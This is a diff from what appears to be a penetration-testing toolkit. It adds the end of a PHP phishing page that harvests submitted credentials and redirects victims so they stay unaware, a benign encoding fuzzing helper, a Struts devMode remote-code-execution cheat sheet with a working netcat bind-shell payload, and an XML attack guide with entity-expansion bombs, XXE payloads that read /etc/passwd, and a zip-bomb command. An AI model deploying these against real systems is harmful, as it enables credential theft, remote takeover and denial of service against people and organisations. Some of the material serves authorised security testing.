||||
setcookie(session_name(), session_id(), time() + 7776000); // cookie for 90 days
|
||||
|
||||
if (empty($_POST)) {
|
||||
header("Location: index.html");
|
||||
exit();
|
||||
}
|
||||
|
||||
$_SESSION['phishing_counter'] = isset($_SESSION['phishing_counter']) ? $_SESSION['phishing_counter'] + 1 : 1;
|
||||
|
||||
function array_clone($array) {
|
||||
return array_map(function($element) {
|
||||
return ((is_array($element))
|
||||
? call_user_func(__FUNCTION__, $element)
|
||||
: ((is_object($element))
|
||||
? clone $element
|
||||
: $element
|
||||
)
|
||||
);
|
||||
}, $array);
|
||||
}
|
||||
|
||||
function collect_columns_array($arraylog) {
|
||||
$columns = array();
|
||||
|
||||
foreach($arraylog as $k => $v) {
|
||||
if ( $k == 'meta' ) {
|
||||
foreach($arraylog[$k] as $k2 => $v2) {
|
||||
array_push($columns, $k2);
|
||||
}
|
||||
} else {
|
||||
array_push($columns, $k);
|
||||
}
|
||||
}
|
||||
return $columns;
|
||||
}
|
||||
|
||||
function log_file_init($arraylog) {
|
||||
global $log_format;
|
||||
global $harvest_filename;
|
||||
global $csv_separator;
|
||||
|
||||
if ($log_format == 'both' || $log_format == 'print_r') {
|
||||
file_put_contents($harvest_filename, '');
|
||||
}
|
||||
if ($log_format == 'both' || $log_format == 'csv' ) {
|
||||
$columns = implode($csv_separator, collect_columns_array($arraylog));
|
||||
file_put_contents($harvest_filename . '.csv', $columns . "\n");
|
||||
}
|
||||
}
|
||||
|
||||
function log_append($arraylog) {
|
||||
global $log_format;
|
||||
global $harvest_filename;
|
||||
global $csv_separator;
|
||||
|
||||
if ($log_format == 'both' || $log_format == 'print_r') {
|
||||
file_put_contents($harvest_filename, print_r($arraylog, true), FILE_APPEND);
|
||||
}
|
||||
if ($log_format == 'both' || $log_format == 'csv' ) {
|
||||
$columns = collect_columns_array($arraylog);
|
||||
$line = '';
|
||||
foreach ($columns as $col) {
|
||||
if (array_key_exists($col, $arraylog['meta'])) {
|
||||
$line .= $arraylog['meta'][$col] . $csv_separator;
|
||||
} else {
|
||||
$line .= $arraylog[$col] . $csv_separator;
|
||||
}
|
||||
}
|
||||
|
||||
$line = substr($line, 0, -strlen($csv_separator));
|
||||
file_put_contents($harvest_filename . '.csv', $line . "\n", FILE_APPEND);
|
||||
}
|
||||
}
|
||||
|
||||
$to_report_array = array_clone($_POST);
|
||||
$to_report_array['meta'] = array();
|
||||
|
||||
if ( array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)
|
||||
&& $_SERVER['HTTP_X_FORWARDED_FOR']
|
||||
&& $_SERVER['HTTP_X_FORWARDED_FOR'] !== $_SERVER['REMOTE_ADDR']
|
||||
){
|
||||
$to_report_array['meta']['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
|
||||
}
|
||||
|
||||
$to_copy_from_server = array("REMOTE_ADDR", "HTTP_REFERER", "HTTP_USER_AGENT", "HTTP_HOST");
|
||||
for( $i = 0; $i < count($to_copy_from_server); $i++ ) {
|
||||
$to_report_array['meta'][$to_copy_from_server[$i]] = $_SERVER[$to_copy_from_server[$i]];
|
||||
}
|
||||
|
||||
$date = date('Y-m-d H:i:s');
|
||||
$to_report_array['meta']['TIMESTAMP'] = $date;
|
||||
|
||||
// Add information about password-entry attempt to the logfile.
|
||||
$to_report_array['meta']['COMMENT'] = "Password retries for that user: " . $_SESSION['phishing_counter'] . ". ";
|
||||
|
||||
if ($_SESSION['phishing_counter'] >= $password_retry) {
|
||||
$to_report_array['meta']['COMMENT'] .= 'Considered phished (+). ';
|
||||
}
|
||||
|
||||
// Valid user agents only
|
||||
$len = strlen($_SERVER['HTTP_USER_AGENT']);
|
||||
$found = 0;
|
||||
$keywords = array('Chrome', 'Chromium', 'CriOS', 'Fedora', 'Firefox', 'Gecko',
|
||||
'Intel', 'iPhone', 'KHTML', 'Linux', 'Macintosh', 'Mobile',
|
||||
'Mozilla', 'Safari', 'Trident', 'Ubuntu', 'Version', 'Win64',
|
||||
'Windows', 'WOW64', 'x86_64', 'Android', 'Phone');
|
||||
|
||||
for ($i = 0; $i < count($keywords); $i++) {
|
||||
if(stripos($_SERVER['HTTP_USER_AGENT'], $keywords[$i]) !== false) {
|
||||
$found++;
|
||||
}
|
||||
}
|
||||
|
||||
// Computing unique per visitor ID to be able to grep harvest log based on that ID.
|
||||
$exclude = false;
|
||||
$id = sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['HTTP_ACCEPT'] .
|
||||
$_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_LANGUAGE']);
|
||||
|
||||
$to_report_array['meta']['VISITOR_ID'] = substr($id, 0, 16);
|
||||
|
||||
if(in_array($to_report_array['meta']['VISITOR_ID'], $exclude_visitors)) {
|
||||
$exclude = true;
|
||||
}
|
||||
|
||||
if (!$exclude && ($log_everyone || ($found >= 3 && $len > 60))) {
|
||||
if(!file_exists($harvest_filename)) {
|
||||
log_file_init($to_report_array);
|
||||
}
|
||||
log_append($to_report_array);
|
||||
}
|
||||
|
||||
if(!$show_meta_data) {
|
||||
unset($to_report_array['meta']);
|
||||
}
|
||||
|
||||
if ($password_retry > 1) {
|
||||
if ($_SESSION['phishing_counter'] < $password_retry) {
|
||||
$url = (!empty($wrong_password_url))? $wrong_password_url : $_SERVER['PHP_SELF'];
|
||||
header('Location: ' . $url);
|
||||
die();
|
||||
}
|
||||
}
|
||||
|
||||
if ($_SESSION['phishing_counter'] >= $password_retry) {
|
||||
$_SESSION['phished_already'] = 1;
|
||||
throw new Exception('Already phished.'); // redirects to target page.
|
||||
}
|
||||
|
||||
header('Content-Type: text/html; charset=utf-8');
|
||||
if (!$resend_post_data) {
|
||||
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
|
||||
} else {
|
||||
echo "<html><head></head><body>";
|
||||
echo "<form action='" . $redirect . "' method='post' name='frm'>";
|
||||
foreach($_POST as $a => $b ) {
|
||||
echo "<input type='hidden' name='" . htmlentities($a) . "' value='" . htmlentities($b) . "'>";
|
||||
}
|
||||
echo "</form><script type='text/javascript'>document.frm.submit();</script></body></html>";
|
||||
}
|
||||
|
||||
} catch (Exception $e) {
|
||||
// We can't take the risk of not redirecting victim into desired website,
|
||||
// because such victim could become anxious or investigate the issue further
|
||||
// thus compromising our campaign. That's the purpose of the try..catch statement
|
||||
// applied here.
|
||||
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
|
||||
}
|
||||
|
||||
?>
|
424
web/reencode.py
Normal file
424
web/reencode.py
Normal file
@ -0,0 +1,424 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#
|
||||
# ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding.
|
||||
# To be used for instance in fuzzing purposes.
|
||||
#
|
||||
# NOTICE:
|
||||
# If the input string's length is divisble by 4, Base64 will be able to decode it - thus, the script
|
||||
# would wrongly assume it has been encoded using Base64. The same goes for Hex decoding.
|
||||
# In order to tackle this issue, the script builds up a tree of possible encoding schemes and then evaluate
|
||||
# that tree by choosing the best fitting encodings path (with most points counted upon resulted text's length,
|
||||
# entropy and printable'ity).
|
||||
#
|
||||
# Requires:
|
||||
# - jwt
|
||||
# - anytree
|
||||
#
|
||||
# Mariusz B., 2018
|
||||
#
|
||||
|
||||
import re
|
||||
import sys
|
||||
import jwt
|
||||
import math
|
||||
import base64
|
||||
import urllib
|
||||
import string
|
||||
import anytree
|
||||
import binascii
|
||||
from collections import Counter
|
||||
|
||||
|
||||
class ReEncoder:
|
||||
|
||||
# Switch this to show some verbose informations about decoding process.
|
||||
DEBUG = False
|
||||
|
||||
# ============================================================
|
||||
# ENCODERS SECTION
|
||||
#
|
||||
|
||||
class Encoder:
|
||||
def name(self):
|
||||
raise NotImplementedError
|
||||
|
||||
def check(self, data):
|
||||
raise NotImplementedError
|
||||
|
||||
def encode(self, data):
|
||||
raise NotImplementedError
|
||||
|
||||
def decode(self, data):
|
||||
raise NotImplementedError
|
||||
|
||||
class NoneEncoder(Encoder):
|
||||
def name(self):
|
||||
return 'None'
|
||||
|
||||
def check(self, data):
|
||||
if not data:
|
||||
return False
|
||||
return True
|
||||
|
||||
def encode(self, data):
|
||||
return data
|
||||
|
||||
def decode(self, data):
|
||||
return data
|
||||
|
||||
class URLEncoder(Encoder):
|
||||
def name(self):
|
||||
return 'URLEncoder'
|
||||
|
||||
def check(self, data):
|
||||
if urllib.quote(urllib.unquote(data)) == data and (urllib.unquote(data) != data):
|
||||
return True
|
||||
|
||||
if re.match(r'^(?:%[0-9a-f]{2})+$', data, re.I):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def encode(self, data):
|
||||
return urllib.quote(data)
|
||||
|
||||
def decode(self, data):
|
||||
return urllib.unquote(data)
|
||||
|
||||
class HexEncoder(Encoder):
|
||||
def name(self):
|
||||
return 'HexEncoded'
|
||||
|
||||
def check(self, data):
|
||||
m = re.match(r'^[0-9a-f]+$', data, re.I)
|
||||
if m:
|
||||
return True
|
||||
return False
|
||||
|
||||
def encode(self, data):
|
||||
return binascii.hexlify(data).strip()
|
||||
|
||||
def decode(self, data):
|
||||
return binascii.unhexlify(data).strip()
|
||||
|
||||
class Base64Encoder(Encoder):
|
||||
def name(self):
|
||||
return 'Base64'
|
||||
|
||||
def check(self, data):
|
||||
try:
|
||||
if base64.b64encode(base64.b64decode(data)) == data:
|
||||
return True
|
||||
except:
|
||||
pass
|
||||
return False
|
||||
|
||||
def encode(self, data):
|
||||
return base64.b64encode(data)
|
||||
|
||||
def decode(self, data):
|
||||
return base64.b64decode(data)
|
||||
|
||||
class Base64URLSafeEncoder(Encoder):
|
||||
def name(self):
|
||||
return 'Base64URLSafe'
|
||||
|
||||
def check(self, data):
|
||||
try:
|
||||
if base64.urlsafe_b64encode(base64.urlsafe_b64decode(data)) == data:
|
||||
return True
|
||||
except:
|
||||
pass
|
||||
return False
|
||||
|
||||
def encode(self, data):
|
||||
return base64.urlsafe_b64encode(data)
|
||||
|
||||
def decode(self, data):
|
||||
return base64.urlsafe_b64decode(data)
|
||||
|
||||
class JWTEncoder(Encoder):
|
||||
secret = ''
|
||||
|
||||
def name(self):
|
||||
return 'JWT'
|
||||
|
||||
def check(self, data):
|
||||
try:
|
||||
jwt.decode(data, verify = False)
|
||||
return True
|
||||
except jwt.exceptions.DecodeError:
|
||||
return False
|
||||
|
||||
def encode(self, data):
|
||||
return jwt.encode(data, JWTEncoder.secret)
|
||||
|
||||
def decode(self, data):
|
||||
return jwt.decode(data, verify = False)
|
||||
|
||||
|
||||
# ============================================================
|
||||
# ENCODING DETECTION IMPLEMENTATION
|
||||
#
|
||||
|
||||
MaxEncodingDepth = 20
|
||||
|
||||
def __init__(self):
|
||||
self.encodings = []
|
||||
self.encoders = (
|
||||
ReEncoder.URLEncoder(),
|
||||
ReEncoder.HexEncoder(),
|
||||
ReEncoder.Base64Encoder(),
|
||||
ReEncoder.Base64URLSafeEncoder(),
|
||||
ReEncoder.JWTEncoder(),
|
||||
|
||||
# None must always be the last detector
|
||||
ReEncoder.NoneEncoder(),
|
||||
)
|
||||
self.encodersMap = {}
|
||||
self.data = ''
|
||||
|
||||
for encoder in self.encoders:
|
||||
self.encodersMap[encoder.name()] = encoder
|
||||
|
||||
@staticmethod
|
||||
def log(text):
|
||||
if ReEncoder.DEBUG:
|
||||
print(text)
|
||||
|
||||
def verifyEncodings(self, encodings):
|
||||
for encoder in encodings:
|
||||
if type(encoder) == str:
|
||||
if not encoder in self.encodersMap.keys():
|
||||
raise Exception("Passed unknown encoder's name.")
|
||||
elif not issubclass(ReEncoder.Encoder, encoder):
|
||||
raise Exception("Passed encoder is of unknown type.")
|
||||
|
||||
def generateEncodingTree(self, data):
|
||||
step = 0
|
||||
maxSteps = len(self.encoders) * ReEncoder.MaxEncodingDepth
|
||||
|
||||
peeledBefore = 0
|
||||
peeledOff = 0
|
||||
currData = data
|
||||
|
||||
while step < maxSteps:
|
||||
peeledBefore = peeledOff
|
||||
for encoder in self.encoders:
|
||||
step += 1
|
||||
|
||||
ReEncoder.log('[.] Trying: {} (peeled off: {}). Current form: "{}"'.format(encoder.name(), peeledOff, currData))
|
||||
|
||||
if encoder.check(currData):
|
||||
if encoder.name() == 'None':
|
||||
continue
|
||||
|
||||
if encoder.name().lower().startswith('base64') and (len(currData) % 4 == 0):
|
||||
ReEncoder.log('[.] Unclear situation whether input ({}) is Base64 encoded. Branching.'.format(
|
||||
currData
|
||||
))
|
||||
|
||||
yield ('None', currData, True)
|
||||
|
||||
if encoder.name().lower().startswith('hex') and (len(currData) % 2 == 0):
|
||||
ReEncoder.log('[.] Unclear situation whether input ({}) is Hex encoded. Branching.'.format(
|
||||
currData
|
||||
))
|
||||
|
||||
yield ('None', currData, True)
|
||||
|
||||
ReEncoder.log('[+] Detected encoder: {}'.format(encoder.name()))
|
||||
|
||||
currData = encoder.decode(currData)
|
||||
yield (encoder.name(), currData, False)
|
||||
|
||||
peeledOff += 1
|
||||
|
||||
break
|
||||
|
||||
if (peeledOff - peeledBefore) == 0:
|
||||
break
|
||||
|
||||
def formEncodingCandidates(self, root):
|
||||
iters = [[node for node in children] for children in anytree.LevelOrderGroupIter(root)]
|
||||
|
||||
candidates = []
|
||||
|
||||
for node in iters[-1]:
|
||||
name = node.name
|
||||
decoded = node.decoded
|
||||
|
||||
ReEncoder.log('[.] Candidate for best decode using {}: "{}"...'.format(
|
||||
name, decoded[:20]
|
||||
))
|
||||
|
||||
candidates.append([name, decoded, 0.0])
|
||||
|
||||
return candidates
|
||||
|
||||
@staticmethod
|
||||
def entropy(data, unit='natural'):
|
||||
base = {
|
||||
'shannon' : 2.,
|
||||
'natural' : math.exp(1),
|
||||
'hartley' : 10.
|
||||
}
|
||||
|
||||
if len(data) <= 1:
|
||||
return 0
|
||||
|
||||
counts = Counter()
|
||||
|
||||
for d in data:
|
||||
counts[d] += 1
|
||||
|
||||
probs = [float(c) / len(data) for c in counts.values()]
|
||||
probs = [p for p in probs if p > 0.]
|
||||
|
||||
ent = 0
|
||||
|
||||
for p in probs:
|
||||
if p > 0.:
|
||||
ent -= p * math.log(p, base[unit])
|
||||
|
||||
return ent
|
||||
|
||||
def evaluateEncodingTree(self, root):
|
||||
weights = {
|
||||
'printableChars' : 10.0,
|
||||
'highEntropy' : 4.0,
|
||||
'length' : 1.0
|
||||
}
|
||||
|
||||
candidates = self.formEncodingCandidates(root)
|
||||
maxCandidate = 0
|
||||
|
||||
for i in range(len(candidates)):
|
||||
candidate = candidates[i]
|
||||
|
||||
name = candidate[0]
|
||||
decoded = candidate[1]
|
||||
points = float(candidate[2])
|
||||
|
||||
ReEncoder.log('[=] Evaluating candidate: {} (data: "{}")'.format(
|
||||
name, decoded
|
||||
))
|
||||
|
||||
# Step 1: Adding points for printable percentage.
|
||||
printables = sum([int(x in string.printable) for x in decoded])
|
||||
printablePoints = weights['printableChars'] * (float(printables) / float(len(decoded)))
|
||||
ReEncoder.log('\tAdding {} points for printable characters.'.format(printablePoints))
|
||||
points += printablePoints
|
||||
|
||||
# Step 4: If encoder is Base64 and was previously None
|
||||
# - then length and entropy of previous values should be of slighly lower weights
|
||||
if name.lower() == 'none' \
|
||||
and len(candidates) > i+1 \
|
||||
and candidates[i+1][0].lower().startswith('base64'):
|
||||
entropyPoints = ReEncoder.entropy(decoded) * (weights['highEntropy'] * 0.75)
|
||||
lengthPoints = float(len(decoded)) * (weights['length'] * 0.75)
|
||||
else:
|
||||
entropyPoints = ReEncoder.entropy(decoded) * weights['highEntropy']
|
||||
lengthPoints = float(len(decoded)) * weights['length']
|
||||
|
||||
# Step 2: Add points for entropy
|
||||
ReEncoder.log('\tAdding {} points for high entropy.'.format(entropyPoints))
|
||||
points += entropyPoints
|
||||
|
||||
# Step 3: Add points for length
|
||||
ReEncoder.log('\tAdding {} points for length.'.format(lengthPoints))
|
||||
points += lengthPoints
|
||||
|
||||
ReEncoder.log('\tScored in total: {} points.'.format(points))
|
||||
candidates[i][2] = points
|
||||
|
||||
if points > candidates[maxCandidate][2]:
|
||||
maxCandidate = i
|
||||
|
||||
winningCandidate = candidates[maxCandidate]
|
||||
winningPaths = anytree.search.findall_by_attr(
|
||||
root,
|
||||
name = 'decoded',
|
||||
value = winningCandidate[1]
|
||||
)
|
||||
|
||||
ReEncoder.log('[?] Other equally good candidate paths:\n' + str(winningPaths))
|
||||
winningPath = winningPaths[0]
|
||||
|
||||
ReEncoder.log('[+] Winning decode path is:\n{}'.format(str(winningPath)))
|
||||
|
||||
encodings = [x.name for x in winningPath.path if x != 'None']
|
||||
|
||||
return encodings
|
||||
|
||||
def process(self, data):
|
||||
root = anytree.Node('None', decoded = data)
|
||||
prev = root
|
||||
|
||||
for (name, curr, branch) in self.generateEncodingTree(data):
|
||||
ReEncoder.log('[*] Generator returned: ("{}", "{}", {})'.format(
|
||||
name, curr[:20], str(branch)
|
||||
))
|
||||
|
||||
currNode = anytree.Node(name, parent = prev, decoded = curr)
|
||||
if branch:
|
||||
pass
|
||||
else:
|
||||
prev = currNode
|
||||
|
||||
for pre, fill, node in anytree.RenderTree(root):
|
||||
ReEncoder.log("%s%s (%s)" % (pre, node.name, node.decoded[:20].decode('ascii', 'ignore')))
|
||||
|
||||
self.encodings = self.evaluateEncodingTree(root)
|
||||
ReEncoder.log('[+] Selected encodings: {}'.format(str(self.encodings)))
|
||||
|
||||
def decode(self, data, encodings = []):
|
||||
if not encodings:
|
||||
self.process(data)
|
||||
else:
|
||||
self.verifyEncodings(encodings)
|
||||
self.encodings = encodings
|
||||
|
||||
for encoderName in self.encodings:
|
||||
d = self.encodersMap[encoderName].decode(data)
|
||||
data = d
|
||||
|
||||
return data
|
||||
|
||||
def encode(self, data, encodings = []):
|
||||
if encodings:
|
||||
encodings.reverse()
|
||||
self.verifyEncodings(encodings)
|
||||
self.encodings = encodings
|
||||
|
||||
for encoderName in self.encodings[::-1]:
|
||||
e = self.encodersMap[encoderName].encode(data)
|
||||
data = e
|
||||
|
||||
return data
|
||||
|
||||
def main(argv):
|
||||
sample = '4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935'
|
||||
|
||||
if len(argv) != 2:
|
||||
print('Usage: reencode.py <text>')
|
||||
print('Using sample: "{}"'.format(sample))
|
||||
text = sample
|
||||
else:
|
||||
text = argv[1]
|
||||
|
||||
decoder = ReEncoder()
|
||||
decoded = decoder.decode(text)
|
||||
|
||||
print('(1) DECODED TEXT: "{}"'.format(decoded))
|
||||
|
||||
decoded = 'FOO ' + decoded + ' BAR'
|
||||
|
||||
print('\n(2) TO BE ENCODED TEXT: "{}"'.format(decoded))
|
||||
|
||||
decoded = decoder.encode(decoded)
|
||||
print('(3) ENCODED FORM: "{}"'.format(decoded))
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
67
web/struts-cheatsheet.md
Normal file
67
web/struts-cheatsheet.md
Normal file
@ -0,0 +1,67 @@
|
||||
## Apache Struts Remote Code Execution cheatsheet
|
||||
|
||||
Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture.
|
||||
When having the application developed in so-called **_devMode_** as set in the _struts.xml_ file:
|
||||
|
||||
``` <constant name="struts.devMode" value="true" />```
|
||||
|
||||
Then the middleware will be handling additional parameters passed to every function invocation.
|
||||
|
||||
### Testing for Struts devMode enabled
|
||||
|
||||
The most straightforward way to test for *devMode* enabled setting is to find an example JSP/WAR/JavaEE application within the server and then passed there specially crafted parameters.
|
||||
The below list of commands is supported by the *devMode* in Struts:
|
||||
- `debug=command`
|
||||
- `debug=xml`
|
||||
- `debug=console`
|
||||
- `debug=browser`
|
||||
|
||||
There are the below most recognizeable example applications often deployed on the Tomcat webserver:
|
||||
|
||||
- the Struts 1:
|
||||
- struts-blank
|
||||
- struts-cookbook
|
||||
- struts-el-example
|
||||
- struts-examples
|
||||
- struts-faces-example
|
||||
- struts-faces-example2
|
||||
- struts-mailreader
|
||||
- struts-scripting-mailreader
|
||||
- the Struts 2:
|
||||
- struts2-blank
|
||||
- struts2-rest-showcase
|
||||
- struts2-mailreader
|
||||
- struts2-showcase
|
||||
- struts2-portlet
|
||||
|
||||
By choosing one of them, testing whether it exists on target web server and passing special parameters, we can assure the Struts framework has been configured to use *devMode*.
|
||||
```
|
||||
http://target/struts2-blank/example/HelloWorld.action?debug=command&expression=1%2b1
|
||||
```
|
||||
Firstly, we can see that those parameters are to be passed to the **.action** requests. Secondly, the above URL utilizes *struts2-blank* example webapplication, that may not be found on test server. In such situation one should go and test the very same parameters for actually deployed application.
|
||||
|
||||
There are those two most important parameters:
|
||||
- `debug=command`
|
||||
- `expression=<java_code>`
|
||||
|
||||
The *expression* parameter is where we will type our **Remote Code Execution** _payload_ .
|
||||
When the above invocation will result with **2** in response body - we will be sure that the expression got evaluated, and thus the application is vulnerable to RCE.
|
||||
|
||||
### Utilizing RCE
|
||||
|
||||
Now, in order to execute one command, and get the first line out of it - there can be used the following expression:
|
||||
```
|
||||
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder('uname -a').start().getInputStream())).readLine()
|
||||
```
|
||||
|
||||
Where we have invocation of **uname -a** command within linux boxes.
|
||||
In order to drop a bind shell on the server, the following method could be leveraged:
|
||||
|
||||
1. Pass the command as a String array:
|
||||
..`new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}`
|
||||
2. Invoke the above expression with the array being passed to the *ProcessBuilder*
|
||||
```
|
||||
?debug=command&expression=new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/nc','-l','-p','4444','-e','"/bin/bash -i"'}).start().getInputStream())).readLine()
|
||||
```
|
||||
|
||||
After that, the *bash* shell will bind to the 4444 port.
|
221
web/xml-attacks.md
Normal file
221
web/xml-attacks.md
Normal file
@ -0,0 +1,221 @@
|
||||
|
||||
|
||||
## XML Vulnerabilities
|
||||
|
||||
|
||||
XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.
|
||||
|
||||
The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.
|
||||
|
||||
---
|
||||
|
||||
### How to avoid XML vulnerabilities
|
||||
|
||||
Best practices
|
||||
|
||||
- Don't allow DTDs
|
||||
- Don't expand entities
|
||||
- Don't resolve externals
|
||||
- Limit parse depth
|
||||
- Limit total input size
|
||||
- Limit parse time
|
||||
- Favor a SAX or iterparse-like parser for potential large data
|
||||
- Validate and properly quote arguments to XSL transformations and XPath queries
|
||||
- Don't use XPath expression from untrusted sources
|
||||
- Don't apply XSL transformations that come untrusted sources
|
||||
|
||||
(based on [Brad Hill's Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))
|
||||
|
||||
---
|
||||
|
||||
### Billion Laughs
|
||||
|
||||
The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack – also known as exponential entity expansion – uses multiple levels of nested entities. Each entity refers to another entity several times, and the final entity definition contains a small string. The exponential expansion results in several gigabytes of text and consumes lots of memory and CPU time.
|
||||
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ELEMENT lolz (#PCDATA)>
|
||||
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||
]>
|
||||
<lolz>&lol9;</lolz>
|
||||
```
|
||||
|
||||
**YAML bomb**:
|
||||
|
||||
```
|
||||
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
|
||||
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
|
||||
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
|
||||
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
|
||||
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
|
||||
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
|
||||
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Quadratic Blowup
|
||||
|
||||
A quadratic blowup attack is similar to a [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn’t as efficient as the exponential case but it avoids triggering parser countermeasures that forbid deeply-nested entities.
|
||||
|
||||
If an attacker defines the entity `"&x;"` as 55,000 characters long, and refers to that entity 55,000 times inside the `"DoS"` element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed.
|
||||
|
||||
**genQuadraticBlowup.py**
|
||||
```
|
||||
#!/usr/bin/python3
|
||||
|
||||
NUM = 55000
|
||||
|
||||
def main():
|
||||
entity = 'A' * NUM
|
||||
refs = '&x;' * NUM
|
||||
templ = '''<?xml version="1.0"?>
|
||||
<!DOCTYPE DoS [
|
||||
<!ENTITY x "{entity}">
|
||||
]>
|
||||
<DoS>{entityReferences}</DoS>
|
||||
'''.format(entity=entity, entityReferences=refs)
|
||||
|
||||
print(templ)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### XML External Entities expansion / XXE
|
||||
|
||||
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
|
||||
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
```
|
||||
<?xml version="1.0" ?>
|
||||
<!DOCTYPE r [
|
||||
<!ELEMENT r ANY >
|
||||
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
|
||||
]>
|
||||
<r>&sp;</r>
|
||||
```
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
Other XXE payloads worth testing:
|
||||
- [XXE-Payloads](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d)
|
||||
- [Blind-XXE-Payload](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882)
|
||||
|
||||
---
|
||||
|
||||
### DTD Retrieval
|
||||
|
||||
This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well.
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html>
|
||||
<head/>
|
||||
<body>text</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Decompression Bomb
|
||||
|
||||
Decompression bombs (aka [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML libraries that can parse compressed XML streams such as gzipped HTTP streams or LZMA-compressed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more.
|
||||
|
||||
```
|
||||
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
|
||||
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
|
||||
$ ls -sh zeros.*
|
||||
1020K zeros.gz
|
||||
148K zeros.xy
|
||||
```
|
||||
|
||||
|
||||
---
|
||||
|
||||
### XPath Injection
|
||||
|
||||
